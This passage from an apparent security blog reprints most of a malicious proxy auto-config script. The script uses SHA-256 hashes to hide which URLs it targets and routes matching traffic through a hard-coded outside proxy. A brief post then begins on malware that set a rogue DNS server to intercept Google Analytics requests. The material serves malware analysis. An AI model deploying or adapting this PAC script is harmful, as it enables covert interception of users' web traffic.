 "direct": false,
 "hash": {
 "url": [
 [33, "da55e41175f29ad2ef7a82451594d80a55f0976a416aa92204949430a2bcd2bb"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [24, "6a51ab44baf159b7dfd06897c2ee9b109047d648527883b400939723fb51b34e"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [16, "6cdc2695d51e4a71a47b738a2e5da370b69928365f901afa139b0d6e09a4a611"],
 [0]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [20, "da3d05b85e36da5c00d2684f8b6c11a151ef805269628a5e288f11367c85b770"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 2
}, {
 "direct": true,
 "hash": {
 "url": [
 [34, "2f65f195f63f3e53bacca32a2ce6807ff0b201845fc435ceea3717cef9784858"]
 ]
 },
 "sc": 0
}, {
 "direct": true,
 "hash": {
 "url": [
 [34, "068af4337f674b90b82cba9b9201749f819a3d0b13e7b807d12cc42cdcd52996"],
 [0]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [25, "16bba5056246699217e8e202a86955a264f1fa4afad31c9bbc2f7c1f7b1950cf"],
 [0]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [6, "2eaab02c6da2d10b1c74431c94246073901239f9cf5d468ce50e972fe10eedec"],
 [0]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [12, "6a6f36afaf2268aee5bb31ca04125b2bc763f08d7ba8711e4bdff70867910553"],
 [0]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [7, "0a6fe22ff241ea94df392b8156568f20391723837ab230318fb077b2375c7cde"],
 [0]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [39, "66a712273426ba40b7b7e106bbbdcaf4b72564e351b3f3f48ce7c20678e648c6"]
 ]
 },
 "sc": 2
}, {
 "direct": false,
 "hash": {
 "url": [
 [32, "a718d72aef8ad2227b48fcb0e41aad227e7df749b181778c1fde42940b43c99a"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [33, "c59e07a5fbde05ed1a56fbcacbd729407e4d2ace0999f1fa7b6d67e1134f16c8"],
 [0]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [20, "7ee2c2d8d2139dde94960b7b10068490709d33396936b3025f4fb084024faacd"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [22, "5cb102dd91d9f0335ceec0d054f9a3534948269494795cf5343db79af0bf1937"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [24, "1e714788036e892cf617e1dd0f2329041329022855b9e740e98e97a6a6b11ef3"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [15, "69f1b962dac671b921437d0f1295291c18c2757d2b35bb4dc0bd417a83544c0d"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [27, "0730a01c9239a112d8f20d388d11f0adbb85ef5cad54ef274ac1f1dcddf592a0"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [18, "ba84717110aa9f1e08279a074c84eac1616a5b1586a723a0f047c6e24873e8a4"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [19, "7a8652ccd303235bf5daa855af51a26ea43ca141af05d29a69068d0a7ce1d308"],
 [0]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [17, "5cbc646b4c93ceb0ceacc82b4d919a0d55c9f4219a37181a857648876f4f8962"],
 [0]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [17, "2ab969e3bb4f21a9c0857a48d7d48959b7579b66d819f5bb5113e0a8daa73837"],
 [0]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [16, "f1fd0a0951825ee7a48ad64357f6b8842c7afa522f2607dbd24676f331be49de"],
 [0]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [21, "28418d5891c9e953da3d34b8196148ca2f5fe2ea8f9410d0158854fac8c259ea"],
 [0]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [16, "24706f423df420f1414ea4fa5b8075795c93ae8744c1274fb5c1a0b153d343f7"],
 [0]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [24, "3f5db3d1f1c2dcca55a962a138f4e89c39ec7d77698d71693029920826215d6f"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [48, "d8de67906050cd51ad3d8dd6e03e9e1a7b95c338282d65c8ea294ded63d2e1ad"],
 [0]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [13, "e8fe445cea211abe733b631f0ed07a4acf73692be6fdcbe8601433686c778d3f"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [17, "a9aff9dbfe5dac558e6cf7885b3cfd7cedb53791b20e5346c858a7ff59bee5ef"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [19, "6392865db408402c48f8a16956719f1fea3a765e4a00608acc7fa6ba4e4cda14"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": true,
 "hash": {
 "url": [
 [22, "5d8c1fbee8589adc33914e3d08be0567e2dc3188da065f889986e7efc4ea4062"],
 [0]
 ]
 },
 "sc": 0
}, {
 "direct": true,
 "hash": {
 "url": [
 [18, "9b307d54955bd62e21d6ffdf7078d226c9d3ed7a4a8338c3ac25ec1859deaf25"],
 [0]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [29, "46d18cdcbd926bcdaf11e4bb2173d996bbd0e556a3e123c202447e8e4b01eb9c"],
 [0]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "host": [
 [0],
 [11, "c323094109b3dde96a8b67aa1ebd11c183a3929160a042677a2c6a60e4de1538"]
 ],
 "query": [
 [1, "8a5edab282632443219e051e4ade2d1d5bbc671c781051bf1437897cbdfea0f1"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [27, "07e55167364c91f40142adda36fb3282bd6446f819d5973aa8a7a7c3fa339655"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [30, "8a1a87606ecd96cdeead029c379a6297d0546b1efcf63019d1145db57f8ab754"],
 [0]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [28, "d8f4ce3f051558a4439835f37030ab06002c32a864d531febf09fe3255e90236"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [23, "93d939d480026892d9c8d3049d5d8954784dbc8258907e44653caabb8a9a9494"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [32, "05854e7dfdb0d0f28e13323213aeff271e91109083a6a76a42b51d9ccd18e741"],
 [0]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [17, "b6481263a60e1563a9e2466d54a7ef33fd2ce1179ff224019bf7550c57967a9a"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [21, "63fdd9a9d5ce7c44c7b21c0d6a1237f8f0c97260e55746dcd8f6ef5a4a50af91"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [28, "f8aba15bc5e864b1e557f1ef93414583458d39200f9bda36168fe7383eb9ee58"],
 [0]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [28, "2fb79d03565dc4b4b295f195c51388515f44ce577e7779b2b1cb6197ff5f5b3c"],
 [0]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [17, "2e50b70712b5bbfc38324d5312943c67d53997803aa407e4e8e72b124767b0ad"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": true,
 "hash": {
 "url": [
 [19, "40d5f76b780574f1477b7c9e22ec16630c27f06b2b3cbdeb838f85db9ad35790"],
 [0]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "host": [
 [0],
 [15, "70cce251eeaa07eafa39aa035f7d94475c6a336209873acc9fb4180f0d5d4fa5"]
 ],
 "query": [
 [8, "d0beddcba48b2cdda553b03c812e27bcfa6d2aaa0d6aa7cb59715b0abd7fae13"],
 [0]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [11, "c509965f343c674675f345d1db0312149080f5d025d2fcf6e1fe13d504723427"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [18, "a8dd9f1252e46a5771e131c437b79659ace18757bd3a8027a2f5b0dc0d5eabff"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [22, "87faaa158280444d037fae86bc1171429c2ea40986a484b2769a0a90a37a5a2a"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 2
}, {
 "direct": false,
 "hash": {
 "host": [
 [3, "db9831b53a8574d33f3d7ce6820598c67224687dbe57cbbc10b6070e5aa57744"],
 [18, "ffc4f10fa9a96a12ed23fe43e7618e984aac46dee8474f3f8443b252fa08f3ae"]
 ],
 "query": [
 [1, "8a5edab282632443219e051e4ade2d1d5bbc671c781051bf1437897cbdfea0f1"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 2
}, {
 "direct": false,
 "hash": {
 "url": [
 [20, "0c9efdccc14c3d6617b9941985a3a498e4577e0343e38bbda7c2fb364dc54b45"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [12, "59ea2297c48ef6c923b4ca8a8f601d0e06baa1b11c7be1cc139945f05a081cca"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [29, "1d5b888f0582e1221111e49b8c0c4ce405235f26be1c73d90ca4a56664069338"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [42, "d91d4822c7a1d78ffd55bbeba1f80c85b317f1628618138c06d09be65c2a1dda"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [20, "bf9d95f31c6dd46a0d8e48c07f04c1a2f8567b34f82c7a500f8b25798c8b9161"]
 ]
 },
 "sc": 2
}, {
 "direct": false,
 "hash": {
 "url": [
 [22, "3a4bb360cf6dc2998f0156bae6af9e3b4316e69f67e5ab9472dfc0d6b7cf0517"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [19, "84210dcb2a72a50dcec85d433904c20f93b7c0f406a7fc2dc0bf18eead6f37e1"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [21, "308318146fb2df522dea622450a9a3d9db6f4071e9d6e8c5f9626591e80dc859"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [23, "70c2ad9405d9a541e96ad8e0fe090388d6fbdced541e5a60d140e840ed0495df"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [42, "800290b8febd876a5720c5eda59879dcab36cf763bc8a925fbcffca69a7ffb63"]
 ]
 },
 "sc": 2
}, {
 "direct": false,
 "hash": {
 "url": [
 [20, "7e2979b6da973a47db083d02d42d13ff4325ea25b7aa73bbe940cd147bcb215b"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": true,
 "hash": {
 "url": [
 [39, "0ed60029e32cfbb08d3701acbeb82d5b6a83aa2f2466ba607ec49b5ed28e5eed"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [34, "4582ac7ade5230bb99743495f238b70a897f7c5aee68f38e63782f9889396425"],
 [0]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [23, "39081ae925fe1e452cdd54ec74b0a5dcd51d1c2458ff1885e0f13c239c18bbe4"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [13, "0666fd6cbd4af11cdf72aa9131a49d8e70456f73a86ab758648703bc1e6ebd59"],
 [0]
 ]
 },
 "sc": 2
}, {
 "direct": false,
 "hash": {
 "url": [
 [43, "ca722ff8edbbc0a13e840d505dd436dac6ec5cd2330073b6b6124258fb0d5f54"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [45, "024587940dc269ca51329c7f19aadf5954bb2ba00754203b9d98d2281a5dd2c1"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [39, "d5782e7c0f0ed1ba7463a853a81edc9bbac32044fad978f8556bcc57ebceac7e"]
 ]
 },
 "sc": 0
}, {
 "direct": true,
 "hash": {
 "url": [
 [29, "ac014017d245a73e9e6d45a6b41e757acf0424fcbb85684d752d927c5d20ef40"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [31, "8ec75af564cf5f49e429d7816c7713fe00b2fc3dc24b1b1455aa75ac0c447b3a"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [27, "eaeed874a4ae30c4bb37596b5cdc3639c9e08be83fedbbc85f353c7945c2ad8e"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [33, "9635f3c8debbf10e593bc947e73c998dfa7f26cde0be5cf59f9f66a95cf67bba"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [24, "9110da1f80be35f588efddea288804be52d347341fcd19ba3da1d4592dd2c40d"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [23, "c9ceeada3d54916a7fe216fad0f9b017c9876098c16301ea3387b47152320ce8"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [7, "74b3efd95853dcf4e793add5abddf5434b172646063535783522c9208928263d"],
 [19, "f5ef8ad912a8f643735a69cf45bf603e51f6af9cc60327ba1b2c808d2088d72f"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "host": [
 [0],
 [11, "97e980a2d03855deff40690b36264e95ef76bba58dcd29737ecdd43081dd2131"]
 ],
 "query": [
 [20, "b3b035817c027ee98f94a59696cee2cddc94bd6e4ed7c95e040531349b3b992f"],
 [0]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [32, "fbc13b4a05282c9f194c1e9ca0dc7e4a6e51de838849fcdf5f35601d9e8ecf38"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [42, "16e5903adff323829bd0635e950f5f4b85d4f1a8070c832c35909f9bf6af3bd9"],
 [0]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [37, "4fc7023f7dd0aab3b2d2892af568a8c3376760efc059c40530aa0032ae7442f7"],
 [0]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [13, "f892007e07fe563bc8822ca8af66c5389b9e8f31994adb1f5e42ffd7b9899d92"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [12, "327fac694a6f957b74d2d4bc85a43651f5500fd8e055cf6f03bf83da4bfe5418"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": true,
 "hash": {
 "url": [
 [19, "0beed07dc3da6aead4fce6f8cb232927d1b20eb4f7f06d1e66b856a5ba3187ef"],
 [0]
 ]
 },
 "sc": 1
}, {
 "direct": false,
 "hash": {
 "url": [
 [32, "856830e365ae3fc8ea6577d8b2d5c1e6155d37fc5a6473baa43029a2e2d2eeae"],
 [0]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [16, "027b77b373d4e927f295d33bf50bb238b007bfd91797fcd551e79a2497c5f7c8"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [31, "6366053930ce7512c068a344739e50297fba40ebd91213db61ee9562701888ba"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [38, "be7c7577e6f1fe9567cedee61118301b1eb4c6a1f476e479adce5a5f34e84a2f"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [35, "6f9994a2e46bd6bed3e739d9d449988303040dd087d9218e5a4b8aa01b342138"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [30, "87470ff28761412da08b3a72cd832411cb8fb8c5c0136f8b96d4949af6bb004d"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [17, "bc77a5508813ed54429d9747ff6af75fc28d140c198c1ee7dfa13fa1ebac09e8"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [11, "a6d0d26d88424e5d1e2a08e3507bfb299b308d1785eb2fdb162d97f18589cea8"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 1
}, {
 "direct": false,
 "hash": {
 "url": [
 [18, "c05c356d809c3f2d1cdd1b6ff9d16fc1024f5c3925bf61abf50e8e1d0f6b8069"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [21, "50ade07afbe7ca8e094128839dd2191c0c48018d7ff754e3c8b88da614768f13"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [20, "e3e88c17ba9ab684b2be9fa3c950ad9d526a0d2478ed661b37b79c581f158190"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [21, "6cdfbcd0d976405a599053ca4b5ef7cd203f180a9c7eb923351cb4f591d3d599"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [21, "5a50d849d24dae791f2476110627d51bbaf9360731286b25ec82fb1629aa160e"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": true,
 "hash": {
 "url": [
 [28, "7a1861c931ce0c8bc0fbe4886af66dbca1afca61f8a08b8b34d0b1e7585dadaf"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [22, "2abdb07ed909f1a257a367c0211061ecb3027a9943af06a93a28f12c92aa94ed"],
 [0]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [24, "643af5bb7cf4810537061f5ea81febbde5f4d60cebd7768b41b8c0351a9b6af2"],
 [0]
 ]
 },
 "sc": 1
}, {
 "direct": false,
 "hash": {
 "url": [
 [22, "0136db59a7df0d5528f4d29e6ab201bedc2cf04c2d7a9f10b3d58909f36421df"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [16, "027b77b373d4e927f295d33bf50bb238b007bfd91797fcd551e79a2497c5f7c8"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 1
}, {
 "direct": false,
 "hash": {
 "url": [
 [27, "650e28997cd30194bb5537ade4a74b646b3abb06fee9cb9d4cf4af28288354e1"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [26, "0793f244ecd3c34901023abec5514fbbf5704e6eba76f95461d8d161f4700aa3"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [25, "2c374ab4efaf85e151d9f5fcd845737356047bd9a37ceb55c77ccf4c3b89e480"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [29, "d62fad593a5bdf2d4b0bd3cee4f9589b651b207908d1336d7a69d4b9aa6c53a3"]
 ]
 },
 "sc": 1
}, {
 "direct": false,
 "hash": {
 "url": [
 [20, "93b81a4fc17695411a51e7d230b9ce2d4ef13325f0983cb81c1db2d0ad8b8238"],
 [0]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [55, "4ced13140e0abf5507c97c64a492c5bf6b0200ccd476713e8fc3417598961f69"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [28, "9a5727d91d00f39ddd5e8063c91928713dc0eb02dec2bb743e8e668e2ef5fccc"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [13, "44d9c55341ba05c18ffc28b8551b18a4adb41d16eb920af0b073930d3621ac38"],
 [0]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [41, "b80aee1049701e1b72f36bd8f338e35801141ce06e12e56f30dc634210401163"],
 [0]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [26, "e7332164ede2a16873960d0e75ce5c840fe0c8260f66a0855823422b6d5ac116"],
 [0]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [15, "691d96c4a9d1bfd8e706f06ecc170dc31c10e9d4309da9b9cf4b9b496a965d62"],
 [0]
 ]
 },
 "sc": 2
}, {
 "direct": false,
 "hash": {
 "url": [
 [38, "81fc6084792fb6000dabfe08765fe52d5e33905ae613e7660e0e136052cca206"],
 [0]
 ]
 },
 "sc": 2
}, {
 "direct": false,
 "hash": {
 "url": [
 [16, "c3387b7ffe31907c8886fa12ead40ec5d785f2d8853f7938c23155a1232f80c8"],
 [3, "c084fba7baf6b259d2eaf35dc39bdcc0e37737560a022eb6ced4018424c2a3d8"]
 ]
 },
 "sc": 1
}, {
 "direct": false,
 "hash": {
 "url": [
 [17, "93677c56483c36ee9e8f17e311cdb9161513105fa0cd92ad3df0bf1f43f8aa82"],
 [0]
 ]
 },
 "sc": 0
}, {
 "direct": false,
 "hash": {
 "url": [
 [16, "c3387b7ffe31907c8886fa12ead40ec5d785f2d8853f7938c23155a1232f80c8"]
 ]
 },
 "sc": 1
}, {
 "direct": false,
 "hash": {
 "url": [
 [20, "1380de9cabcaab06d9fa57b0da79b456fa050194e95978b41974b8d33e5c670d"]
 ]
 },
 "sc": 1
}];

function checkPattern(hash, string) {
 if ((hash.length == 1) &amp;amp;&amp;amp; (string.length == hash[0][0])) {
 return (CryptoJS.SHA256(string) == hash[0][1])
 } else {
 var left = false;
 if (hash[0][0] &amp;gt; 0) {
 if (CryptoJS.SHA256(string.substring(0, hash[0][0])) == hash[0][1]) {
 left = true;
 }
 } else {
 left = true;
 }
 if (left) {
 var right = false;
 if (hash[1][0] &amp;gt; 0) {
 if (CryptoJS.SHA256(string.substring(string.length - hash[1][0])) == hash[1][1]) {
 right = true;
 }
 } else {
 right = true;
 }
 return (left &amp;amp;&amp;amp; right)
 }
 }
 return false
}

function checkHash(hash, url, host) {
 if (hash.url) {
 return checkPattern(hash.url, url.replace(/^https?:\/\//, ''))
 } else if (hash.host &amp;amp;&amp;amp; hash.query) {
 var query = '/' + url.replace(/.*?\/\/.*?\//, '')
 return checkPattern(hash.query, query) &amp;amp;&amp;amp; checkPattern(hash.host, host)
 }
 return false
}
var proxy = 'PROXY 50.7.182.141:51598; DIRECT';

var have_https = true;

function FindProxyForURL(url, host) {
 if (url == 'https://stoppblock.net/') {
 return proxy;
 }
 var https = url.indexOf('https://') == 0;
 if ((url.indexOf('http://') !== 0) &amp;amp;&amp;amp; (!https || !have_https)) {
 return 'DIRECT';
 }

 if (isPlainHostName(host) ||
 shExpMatch(host, "*.local") ||
 isInNet(dnsResolve(host), "0.0.0.0", "255.0.0.0") ||
 isInNet(dnsResolve(host), "10.0.0.0", "255.0.0.0") ||
 isInNet(dnsResolve(host), "172.16.0.0", "255.240.0.0") ||
 isInNet(dnsResolve(host), "192.168.0.0", "255.255.0.0") ||
 isInNet(dnsResolve(host), "169.254.0.0", "255.255.0.0") ||
 isInNet(dnsResolve(host), "192.0.2.0", "255.255.255.0") ||
 isInNet(dnsResolve(host), "224.0.0.0", "240.0.0.0") ||
 isInNet(dnsResolve(host), "240.0.0.0", "240.0.0.0") ||
 isInNet(dnsResolve(host), "127.0.0.0", "255.255.255.0"))
 return "DIRECT";

 for (var i = 0; i &amp;lt; hashes.length; i++) {
 var hash = hashes[i];
 if ((hash.sc == 2) || ((hash.sc == 1) &amp;amp;&amp;amp; (https)) || ((hash.sc == 0) &amp;amp;&amp;amp; (!https))) {
 if (checkHash(hash.hash, url, host)) {
 if (hash.direct) {
 return 'DIRECT'
 }
 return proxy
 }
 }

 }
 return 'DIRECT'
}
Posted in Uncategorized | 1 Comment

“104.197.191.4” and “107.178.246.193” Google-Analytics DNS Intercept / Malware.

While trying to investigate a malware infection on a computer I discovered several changes. First.. LOTS of rootkits and advertising malware but also..

DNS for the network adaptor had been changed to “104.197.191.4”. This seems to be a virtual server hosted at Google. Probably the malware authors have subscribed to Google Compute. The rogue DNS server rewrites requests for Google Analytics (embedded in many websites), and probably other services, to another google hosted (but not run by Google) server.

> google-analytics.com
Server: 4.191.197.104.bc.googleusercontent.com
